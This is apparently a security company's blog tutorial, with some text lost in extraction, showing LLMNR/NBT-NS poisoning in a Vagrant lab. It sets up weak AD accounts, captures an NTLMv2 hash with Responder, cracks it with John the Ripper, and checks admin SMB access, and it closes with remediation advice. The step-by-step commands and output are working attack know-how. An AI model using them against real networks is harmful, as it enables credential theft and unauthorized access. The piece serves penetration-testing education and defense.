Link Local Multicast Name Resolution (
NetBIOS Name Service (
NBT-NS) are two name resolution protocols that help
Windows hosts to find address names from other devices on the network.
Windows components and are alternate methods of host
LLMNR is based upon the
Domain Name System (
it uses a simple exchange of request and response messages to resolve
computer names on
NetBIOS to resolve
IPV4 addresses by broadcasting a
NetBIOS Name Query Request message to the local subnet broadcast
address using the port
UDP 137. The node that owns the queried name
then sends back a unicast message to the requestor. If
disabled then it will need to use
DNS queries to resolve names, and if
the network does not have
DNS servers then the names should be in the
Hosts file of the machine.
LLMNR messages use a similar format to
DNS messages but use
UDP port 5355. It works by sending a
LLMNR Name Query Request message to
the multicast address, this multicast address is scoped to prevent a
multicast enabler router from forwarding the request outside the
requestor subnet. If a host on the subnet is authoritative for the
request name it sends a unicast response to the requestor.
As both protocols use broadcast messages to resolve names on the
network, an attacker can listen to them and then respond with a spoof of
an authoritative source for name resolution as if he knew the requested
name. Then with the service poisoned, the victim will continue the
communication with the attacker, and if the network resource needs
authentication, the victim will send a username and an
Here the attacker can use tools like
JohnTheRipper to crack the
credentials and have access to the system. This attack is called
LLMNR/NBT-NS Poisoning and Relay.
To set up our lab we are going to use
Vagrant; the source files are below.
Create a folder with the name
requestor and save the
there. Also create another folder inside
and save the file
setting up the lab.
$ mkdir requestor $ cd requestor requestor$ nano Vagrantfile #Add here the content requestor$ mkdir provision requestor$ nano provision/ad.ps1 #Add here the content
# -*- mode: ruby -*- # vi: set ft=ruby : Vagrant.configure("2") do |config| config.vm.box = "cdaf/WindowsServerDC" config.vm.hostname = "winserver" config.vm.network "private_network", ip: "192.168.56.2" config.vm.provision "shell", path: "provision/ad.ps1" end
Import-Module ServerManager Add-WindowsFeature RSAT-AD-PowerShell import-module activedirectory New-ADuser -Name "reqtest" -SamAccountName reqtest -Enabled $true -AccountPassword (ConvertTo-SecureString -AsPlainText "[email protected]!!!" -Force) New-ADuser -Name "svctest" -SamAccountName svctest -Enabled $true -AccountPassword (ConvertTo-SecureString -AsPlainText "Monkey.123" -Force) setspn -A sky.net/reqtest reqtest setspn -A sky.net/svctest svctest Add-ADGroupMember -Identity "Administrators" -Members svctest Add-ADGroupMember -Identity "Users" -Members reqtest
Then run the environment using:
requestor$ vagrant up
This will create a
Windows machine with
Active Directory installed
and configured. At this point, everything we need has been completed and
is ready for us to launch an attack.
Now we can set up our attacking machine. Here we are using Kali
Vagrant too, but you can use
OS you prefer.
These are the tools that we are going to use:
If you are using
Kali, the only thing that needs to be cloned is
git clone https://github.com/SpiderLabs/Responder
We are ready to go.
Starting the poisoner
The only thing we need to do is to run
Responder as a root. We can do
this with the following:
Responder$ sudo ./Responder.py -I eth1 -wrf
NBT-NS, LLMNR & MDNS Responder 2.3 Author: Laurent Gaffie ([email protected]) To kill this script hit CRTL-C [+] Poisoners: LLMNR [ON] NBT-NS [ON] DNS/MDNS [ON] [+] Servers: HTTP server [ON] HTTPS server [ON] WPAD proxy [ON] SMB server [ON] Kerberos server [ON] SQL server [ON] FTP server [ON] IMAP server [ON] POP3 server [ON] SMTP server [ON] DNS server [ON] LDAP server [ON] [+] HTTP Options: Always serving EXE [OFF] Serving EXE [OFF] Serving HTML [OFF] Upstream Proxy [OFF] [+] Poisoning Options: Analyze Mode [OFF] Force WPAD auth [OFF] Force Basic Auth [OFF] Force LM downgrade [OFF] Fingerprint hosts [ON] [+] Generic Options: Responder NIC [eth1] Responder IP [192.168.56.103] Challenge set  [+] Listening for events...
Since we are on the same network, it is only a matter of time to get a
request from a machine in the subnet. But because our
is doing nothing, we will receive nothing.
Now let’s act like a normal user in our
Windows machine. Log in as
svctest with the domain
sky.net and password
Monkey.123, then open
the start menu and there type
run. In there we are going to look for a
name on the network, just type the following:
There we will get an error accessing the share, but in our attacker machine we will get the following:
[*] [LLMNR] Poisoned answer sent to 192.168.56.2 for name FLUIDATTACKS [FINGER] OS Version : Windows Server 2016 Standard Evaluation 14393 [FINGER] Client Version : Windows Server 2016 Standard Evaluation 6.3 [SMB] NTLMv2-SSP Client : 192.168.56.2 [SMB] NTLMv2-SSP Username : SKY\svctest [SMB] NTLMv2-SSP Hash : svctest::SKY:1122334455667788:D78BEB50968B6AEA3D8A9CD04765BB6A:01010000000000008274E5E0A507D60176E66DEAF12162F90000000002000A0053004D0042003100320001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D00420031003200080030003000000000000000000000000030000037AE67261C1D6D0CEBBD9D3AA1803818C033512B8B0FD6DEBA539CFD272D615B0A001000000000000000000000000000000000000900220063006900660073002F0046004C00550049004400410054005400410043004B0053000000000000000000 [SMB] Requested Share : \\FLUIDATTACKS\IPC$ [*] [LLMNR] Poisoned answer sent to 192.168.56.2 for name FLUIDATTACKS [FINGER] OS Version : Windows Server 2016 Standard Evaluation 14393 [FINGER] Client Version : Windows Server 2016 Standard Evaluation 6.3 [*] Skipping previously captured hash for SKY\svctest [SMB] Requested Share : \\FLUIDATTACKS\IPC$
Figure 1. Respoder result
Here we have our hash, they are
NTLMv2 hashes, and there we can also
view some information about the server like the OS version and the
requested share. With this, we save that user’s hash on a file.
echo 'svctest::SKY:1122334455667788:D78BEB50968B6AEA3D8A9CD04765BB6A:01010000000000008274E5E0A507D60176E66DEAF12162F90000000002000A0053004D0042003100320001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D00420031003200080030003000000000000000000000000030000037AE67261C1D6D0CEBBD9D3AA1803818C033512B8B0FD6DEBA539CFD272D615B0A001000000000000000000000000000000000000900220063006900660073002F0046004C00550049004400410054005400410043004B0053000000000000000000' > hashllmnr
And then we crack it using
SecLists dictionary, and
KoreLogic ruleset. Since
NTLMv2 hashes are harder to crack, it could
take a while, depending on your system.
john --wordlist=/usr/share/seclists/Passwords/darkweb2017-top100.txt --rules=KoreLogic hashllmnr
Using default input encoding: UTF-8 Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status Monkey.123 (svctest) 1g 0:00:00:18 DONE (2020-03-31 17:55) 0.05518g/s 575858p/s 575858c/s 575858C/s Asdfgh.jkl13..Asdfgh.jkl24 Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably Session completed
And it’s cracked! Now we can check our access running
with our new set of credentials.
samba high privileges.
smbmap -u svctest -p 'Monkey.123' -d sky.net -H 192.168.56.2
[+] Finding open SMB ports.... [+] User SMB session establishd on 192.168.56.2... [+] IP: 192.168.56.2:445 Name: 192.168.56.2 Disk Permissions ---- ----------- ADMIN$ READ, WRITE C$ READ, WRITE IPC$ READ ONLY NETLOGON READ, WRITE SYSVOL READ, WRITE [!] Unable to remove test directory at \\192.168.56.2\SYSVOL\edWFuwvkCb, plreae remove manually
As you can see, we now have administrative access to our server. You can
access it by
RDP or retrieve files using
SMB. Also, you can dump the
SAM to get more users and hashes; these last ones are
This could be done using the
reqtest account or the
If an attacker does this in an enterprise network, he can capture any
number of accounts of the network. Also, there are windows scripts like
Inveigh, where we can do
more or less the same attack with the same results.
The remediation for this attack is to disable both
on all hosts because
Windows defaults to one when the other fails or
is disabled. A host based security software that blocks
requests could also be used.
Another way to mitigate this is by having and using a strong credential policy. Passwords must be longer than 20 characters, contain upper and lower case letters, contain symbols and digits, and must not be easy to guess. This means you would be wise to adopt passphrases instead of simple passwords.
This is especially useful when you are dealing with service credentials because they are the ones most targeted. You can also set an alert to notify you when someone is logged in with your most critical and high-privileged users.
If you want more information about strong credentials, you can check our Criteria about them.
Recommended blog posts
You might be interested in the following related posts.
Watch out for keylogging/keyloggers
There's not an only way but here's a good one
Benefits and risks of these increasingly used programs
A hacker's view of the performance of Researcher CNAs
Why so many are switching to Rust
Description and critique of CEH certifications
An OffSec Experienced Pentester review
Or what makes the ethical hacker